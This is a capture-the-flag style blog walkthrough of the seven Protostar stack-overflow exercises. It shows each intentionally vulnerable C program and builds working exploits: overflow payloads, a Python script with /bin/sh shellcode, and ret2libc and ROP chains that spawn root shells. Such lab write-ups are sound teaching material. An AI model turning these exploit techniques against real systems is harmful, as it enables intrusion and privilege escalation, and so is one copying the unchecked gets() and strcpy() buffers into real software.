Posts Exploit Exercise Protostar Stack Series
Post
Cancel

Exploit Exercise Protostar Stack Series

Exploit Exercises Protostar Stack Series

In this series I will solve each of the seven levels of in from exploit exercises protostar. You can find more info about the challenges here. I will show you the source code and do my best to explain what is going on behind the scenes, my thought process, and how to solve and exploit each of the challenges. I tend to use GDB-Peda, Radare2, or GDB.

Stack Zero

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

Overview

This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution. Viewing the source code we can that it is requiring the user to input some data with gets(). Which will then be saved to our buffer variable.

1
2
3
4
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack0 
test
Try again?
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ 

We need to change the value of modified to step into the “if”.

Exploit

There is a char buffer that allocates 64 bytes. In the source code the modified variable is set to 0 then the line right after gets() is called where it requires the user to input some data. If we check out the manpage for this we can see that there is a bug:

1
2
3
4
5
6
7
8
BUGS
       Never use gets().  Because it is impossible to tell without knowing the data in advance how many characters gets()
       will read, and because gets() will continue to store characters past the end of the buffer, it is  extremely  dan‐
       gerous to use.  It has been used to break computer security.  Use fgets() instead.

       For  more information, see CWE-242 (aka "Use of Inherently Dangerous Function") at http://cwe.mitre.org/data/defi‐
       nitions/242.html

The issue as stated in the bug is that the characters are stored within the buffer and the characters inputted can go over the allocated amount without any checks. Since the buffer variable is stored on the stack. Since the variable monitored is placed on the stack before the buffer array and knowing that the stack grows downward we can overwrite the monitored variable and change the value. We can test this with the help of some python.

1
python -c "print 'A'*68" | ./stack0

The output reveals that we have changed the variable

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ python -c "print 'A'*65" | ./stack0 
you have changed the 'modified' variable

Stack One

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

Overview

This level looks at the concept of modifying variables to specific values in the program, and how the variables are laid out in memory.

The first if statement checks if there is the correct number of arguments and if there is an argument passed then it is saved into buffer. This is very similar to Stack 0. The issue is mainly with strcpy()

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack1 test
Try again, you got 0x00000000

Exploit

The issue with this piece of source code is the strcpy() and we can verify this by viewing the manpage for the strcpy as shown below

1
2
BUGS
       If the destination string of a strcpy() is not large enough, then anything might happen. Overflowing fixed-length string buffers is a favorite cracker technique for taking complete control of the machine. Any time a program reads or copies data into a buffer, the program first needs to check that there's enough space. This may be un‐necessary if you can show that overflow is impossible, but be careful: programs can get changed over time, in ways that may make the impossible possible.

Since the modified variable is stored before the buffer variable and a strcpy is used to store a string of characters into the buffer without checking if it fits we can change the value of modified. So in this instance we want to change modified to match 0x61626364. So we can convert the hex to see what the ascii equivalent is and use that to overwrite the variable value

1
2
>>> "61626364".decode("hex")
'abcd'

Now we can append abcd to the end of our 65 bytes of ‘A’ as seen below. But notice the bytes are arranged in big endian format.

1
2
3
4
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAabcd
Try again, you got 0x64636261
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
you have correctly got the variable to the right value

Stack Two

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

Overview

Stack2 looks at environment variables, and how they can be set. After we try to execute the program we can see that we need to set the GREENIE environment variable

1
2
3
4
5
6
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack2 
stack2: please set the GREENIE environment variable

ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ export GREENIE=test
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack2 
Try again, you got 0x00000000

Exploit

In this program it is similar to the previous challeneg, but instead we are using a environment variable called GREENIE. So we have to set the variable with the export and set a new value. It looks like the value that the program is looking for is 0x0d0a0d0a. So we can decode the hex to ascii and see that it uses the newline and return hex values.

1
2
>>> '0d0a0d0a'.decode('hex')
'\r\n\r\n'

So if we try to append this to a 64 byte ‘A’ string then we get this:

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ export GREENIE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n\r\n
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack2 Try again, you got 0x6e726e72

The values are not correctly interpreted so we can use a little python to get the exact values we want.

1
2
3
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ export GREENIE=`python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d'"`
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostart$ ./stack2 
you have correctly modified the variable

Stack Three

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

Overview

Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ ./stack3
test

Exploit

This is very similar to the previous challenges, but instead the bug in the program is gets(). If we look at the manpage for gets() we can understand the bug a little better.

1
2
BUGS
       Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store  characters  past the end of the buffer, it is extremely dangerous to use.  It has been used to break computer security.  Use fgets() instead.

Since the gets() function continues to store characters past the end of the buffer and the function pointer fp is declared before the buffer variable we can overwrite this. Since we need to get to the win() function we need to get the address of where it is at. We can do this by using object dump as seen below.

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ objdump -D ./stack3 | grep win
08048424 <win>:

Now that we know the address of the win() function and knowing that the system uses big endian we can solve the challenge

1
2
3
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ python -c "print 'A'*64 + '\x24\x84\x04\x08'" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

Stack Four

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Overview

Stack4 takes a look at overwriting saved EIP and standard buffer overflows.

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ ./stack4
test

Exploit

This is where things become a little more tricky than the previous challenges. We know that the end goal is to alter the program use the win() function and display the message. So first we wanna find out the address of where the function is stored.

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ objdump -D ./stack4 | grep win
080483f4 <win>:

Now that we know the address of the win() function is stored at 0x080483f4 can save that for later. We also want to create a file with our 64 ‘A’ to understand the size of the stack.

1
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ python -c "print 'A'*64" > buffer64

When we run gdb in TUI mode and set the layout of regs and asm and finally set a break point on main we can passing our 64 ‘A’ by using r < buffer64 then we can check the stack by using x/30x $esp as shown below.

Right after the gets() which is the end of our main we return to the previous function. We can see this at 0x0804841d in gdb. This uses the base pointer which is stored right after our stack and can be overwritten to change which function the return is going to navigate to. In order to do so we must do some math to figure out the number of bytes to change that value.

1
2
>>> int('0xffffd46c', 16) - int('0xffffd420',16)
76

Now that we know it takes exactly 76 bytes to overwrite the base pointer value we can craft another file to change it.

1
python -c "print 'A'*76 + '\xf4\x83\x04\x08' " > buffer64Address

Now once we run it we can see that the return jumped to the win() function and we have solved the challenge.

1
2
3
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ ./stack4 < buffer64Address 
code flow successfully changed
Segmentation fault

Stack Five

Source Code

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Overview

Stack5 is a standard buffer overflow, this time introducing shellcode.

1
2
$ ./stack5        
test

Exploit

From the source code we can see that there is no function that we are trying to jump to and that we need to provide our own shellcode. This works out perfect we can use our shellcode from the SLAE64 course to obtain a shell or use shellstorm.

Since we know what we are trying to exploit the gets() function we can begin and try to find the EIP offset or the (Instruction Pointer Offset). I prefer to use pattern_create and pattern_offset that is already built into Kali.

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

This gives us a unique pattern to use to find the offset of the EIP. We can paste this into the program and get where the EIP is overwritten.

1
2
3
4
5
6
7
(gdb) r
Starting program: /opt/protostar/bin/stack5 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
(gdb) 

Then we can use python to figure out the ascii value for the hex that replaced the EIP register value

1
2
>>> struct.pack("I", 0x63413563)
'c5Ac'

Then use the pattern_offset script to find the exact offset

1
2
ap3x@kali-exploitdev:~/Documents/ExploitExercise/Protostar$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q  c5Ac -l 100
[*] Exact match at offset 76

Now that we know the offset we can begin to form our exploit. Below is a photo what our stack looks like on the left and the stack on the right is what we want our stack to look like after sending our exploit code.

To test this out we can send 76 A’s then four B’s then 4 C’s for safe measure.

1
2
>>> "A"*76+"BBBB"+"CCCC"
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC'

Pasting this into GDB

1
2
3
4
5
6
7
8
9
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack5 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) 

If we take a look at the registers using the info reg command in GDB we can see that the EBP register (Base Pointer) was overwritten with A’s and the EIP was overwritten with B’s

1
2
3
4
5
esp            0xbffffcc0       0xbffffcc0
ebp            0x41414141       0x41414141
esi            0x0      0
edi            0x0      0
eip            0x42424242       0x42424242

Now that we have confirmed we can control the EIP value we can point this to our shellcode. We need to figure out where the “CCCC” we sent are store on the stack.

1
2
3
4
5
6
7
8
(gdb) x/100x $esp-100 
0xbffffc5c:     0x080483d9      0xbffffc70      0xb7ec6165      0xbffffc78
0xbffffc6c:     0xb7eada75      0x41414141      0x41414141      0x41414141
0xbffffc7c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc8c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffc9c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcac:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcbc:     0x42424242      0x43434343      0xbffffd00      0xbffffd6c

We can see that at address 0xbffffcc0 (0xbffffcbc + 4 ) is where our “CCCC” or 0x43434343 were placed on the stack. Now we can begin to write our exploit.

1
2
3
4
5
6
7
8
import struct

padding = "A"*76
nops = "\x90"*14
eip = struct.pack("I",0xbffffcc0)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload = padding+eip+nops+shellcode
print payload

The shellcode that I used execute the /bin/dash shell for us. You can find this code here. We will now have to save the output of this to a file.

1
python exploit5.py > /tmp/txt

We can now test this out on our binary. The dash is used to pass the file hex in as stdin.

1
2
3
$ cat /tmp/txt - | /opt/protostar/bin/./stack5 
whoami 
root

Stack Six

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Overview

Stack6 looks at what happens when you have restrictions on the return address. This level can be done in a couple of ways, such as finding the duplicate of the payload ( objdump -s will help with this), or ret2libc , or even return orientated programming.

Exploit

First we need to find the offset. We can use pattern_create.rb to create our uniqe offset.

1
2
ap3x@kali-exploitdev:~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Now we can paste our unique string into the user input in GDB.

1
2
3
4
5
6
7
8
(gdb) c
Continuing.
input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()
(gdb) 

When convert 0x37634136 to ASCII using python it’s 6Ac7.

1
2
ap3x@kali-exploitdev:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q  6Ac7 -l 100
[*] Exact match at offset 80

Now that we have verified that our offset is at 80 bytes we can begin to develop our exploit. Something that is very important to point out about the code is that the return addresses starting with 0xbf are filtered, which essentially stops us from executing on the stack. Although there is a way we can get around this using ret2libc. The ret2libc takes advantage of the fact that the libc library is loaded into memory and its also used by the program. So we can set the return address to the address of any function in the C library. In order to take control of the program we will be using system(). We will over rite part of the stack that was set prior to calling getpath() and manually inject stack frames to call system(). We will specifically be overwriting the return address of getpath() with system().

As shown in the photo above we will replace the return address 1 of getpath() with system() and return address 2 is not important and will be explained in stack seven. Finally we will have to pass a string which is the command we want to execute, which will be /bin/sh. So in GDB we need to find the address of system().

1
2
(gdb) p system
$3 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

Now we need to find where libc is loaded so we can call /bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) info proc map 
process 11431
cmdline = '/opt/protostar/bin/stack6'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack6
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack6
         0x804a000  0x806b000    0x21000          0           [heap]
        0xb7e96000 0xb7e97000     0x1000          0        
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0        
        0xb7fde000 0xb7fe2000     0x4000          0        
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]

Now that we know where libc starts at address 0xb7e97000. Since /bin/sh is a string on in libc we can find the offset from the start of the file. In order to do this we can use the -t x to display the the offset in hex.

1
2
user@protostar:/opt/protostar/bin$ strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh
 11f3bf /bin/sh

We can see that the offset is at 0x11f3bf we can find the exact offset in memory since we know the base address is 0xb7e97000.

1
2
>>> hex(0xb7e97000 + 0x11f3bf)
'0xb7fb63bf'

If we go back into GDB we can verify this:

1
2
(gdb) x/s 0xb7fb63bf
0xb7fb63bf:  "/bin/sh"

The final exploit script is:

1
2
3
4
5
import struct
offset = "A"*80
system = struct.pack("I", 0xb7ecffb0);
shell = struct.pack("I", 0xb7fb63bf);
print offset + system + 'AAAA' + shell 
1
2
3
4
5
user@protostar:/opt/protostar/bin$ python /tmp/exploit6.py > /tmp/txt2
user@protostar:/opt/protostar/bin$ (cat /tmp/txt2; cat) | ./stack6   
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA����AAAA�c��
whoami
root

Stack Seven

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Overview

Stack6 introduces return to .text to gain code execution.

When the call assembly instruction is called in the main for getpath() the return address is put on top of the stack and if any arguments were passed then it would also be put on the stack. If we write enough data to the buffer, we can overwrite the return address with our own address so we can hijack the execution flow when ret is executed. There is an issue though… the modified return address cannot start with 0xb otherwise it will exit.

Exploit

When we open the stack7 binary in gdb we can first start by setting a break right at the ret

1
2
3
4
5
6
7
8
9
10
11
user@protostar:/opt/protostar/bin$ gdb -q ./stack7
(gdb) set disassembly-flavor intel
(gdb) disas getpath
Dump of assembler code for function getpath:
...
0x0804853e <getpath+122>: call   0x80483f4 <strdup@plt>
0x08048543 <getpath+127>: leave
0x08048544 <getpath+128>: ret
End of assembler dump.
(gdb) b *0x08048543
Breakpoint 1 at 0x8048543: file stack7/stack7.c, line 24.

Similar to the previous levels we were able to find the offset with pattern_create.rb and found out that the offset is 80 bytes. For this challenge Im gonna use the ret2libc technique. Essentially we want to put the address of the the libc function system() as the return address and pass /bin/sh as an argument. Since strings in C are passed as pointers then the stack should contain the address of the string.

Now we can use GDB to find the address of system() to get the address.

1
2
(gdb) p system
$3 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

Now we need to find where libc is loaded so we can call /bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) info proc map 
process 11431
cmdline = '/opt/protostar/bin/stack7'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/stack7'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/stack7
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/stack7
         0x804a000  0x806b000    0x21000          0           [heap]
        0xb7e96000 0xb7e97000     0x1000          0        
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0        
        0xb7fde000 0xb7fe2000     0x4000          0        
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]

Now that we know where libc starts at address 0xb7e97000. Since /bin/sh is a string on in libc we can find the offset from the start of the file. In order to do this we can use the -t x to display the the offset in hex.

1
2
user@protostar:/opt/protostar/bin$ strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh
 11f3bf /bin/sh

We can see that the offset is at 0x11f3bf we can find the exact offset in memory since we know the base address is 0xb7e97000.

1
2
>>> hex(0xb7e97000 + 0x11f3bf)
'0xb7fb63bf'

If we go back into GDB we can verify this:

1
2
(gdb) x/s 0xb7fb63bf
0xb7fb63bf:  "/bin/sh"

Now we can begin to write our exploit with all this info.

1
2
3
4
import struct
offset = "A"*80
system = struct.pack("I", 0xb7ecffb0);
shell = struct.pack("I", 0xb7fb63bf);

But wait… Remember there is a restriction on the return address that we haven’t satisfied yet. The return address of system starts with 0xb. So to get around this we will have to utilize ROP (Return Oriented Programming). Which essentially we want to find gadgets, which is small set of instructions already present in the code to accomplish a specific goal.

When the ret variable is set the processor will push to the address to the top of the stack into thus changing the EIP, and will also increment ESP by 4 bytes (stack grows towards lower addresses). If the address at the top of the stack points to another ret instruction, when it is poped off and executed the step I previously explained will happen again and the execution will continue at the next address that is on the stack. So we need can avoid the the return address checking by modifying our exploit to put the address of a ret instruction as the return address, before the address of the system. We can use a random ret instruction address in our program. For this exploit I just used the first address.

1
2
3
4
5
6
7
8
9
10
11
user@protostar:/opt/protostar/bin# objdump -D stack7 | grep ret
 8048383:       c3                      ret    
 8048494:       c3                      ret    
 80484c2:       c3                      ret    
 8048544:       c3                      ret    
 8048553:       c3                      ret    
 8048564:       c3                      ret    
 80485c9:       c3                      ret    
 80485cd:       c3                      ret    
 80485f9:       c3                      ret    
 8048617:       c3                      ret    

So now our stack should look something like this:

The final exploit will look something like below:

1
2
3
4
5
6
import struct
offset = "A"*80
ret = struct.pack("I", 0x8048383); # address of ret
system = struct.pack("I", 0xb7ecffb0); # system()
shell = struct.pack("I", 0xb7fb63bf); # "/bin/sh"
print offset + ret + system + 'AAAA' + shell 

But wait why are we using AAAA well remember “return address 3” in the photo above? It techincally doesn’t matter what this is as long as its 4 bytes. The AAAA can be replaced with exit address since this value is used for the return address for system().

1
2
3
4
$ (cat /tmp/txt; cat) | ./stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�AAAAAAAAAAAA�����AAAA�c��
whoami
root

So what now?

I just wanna make it clear that doing Protostar is not the same as exploiting modern systems. The challenges are compiled on older 32 bit systems and lack mitigation techniques that are common practice today, such as:

  • Non-executable stack (NX) not enabled
  • No stack canaries
  • The system has ASLR (Address Space Layout Randomization) disabled
This post is licensed under CC BY 4.0 by the author.